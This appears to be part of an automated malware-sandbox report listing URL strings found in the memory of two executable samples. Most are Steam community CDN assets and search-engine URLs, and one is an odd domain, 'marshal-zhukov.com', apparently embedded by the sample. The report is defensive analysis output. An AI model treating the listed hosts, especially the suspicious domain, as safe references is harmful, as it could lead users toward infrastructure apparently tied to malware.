Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://comarshal-zhukov.commarshal-zhukov.comteamcommunity/public/assets/
Source: d1e0007322.exe, 00000014.00000002.3268389179.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811241396.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258257837.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218380278.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudfla
Source: d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.stea
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=OXLUWHGf4b
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811241396.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/prom=9
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalCo
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: d1e0007322.exe, 00000014.00000002.3268389179.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811241396.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258257837.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218380278.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/pro;
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/ja(
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=KLqJ
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=engli0
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
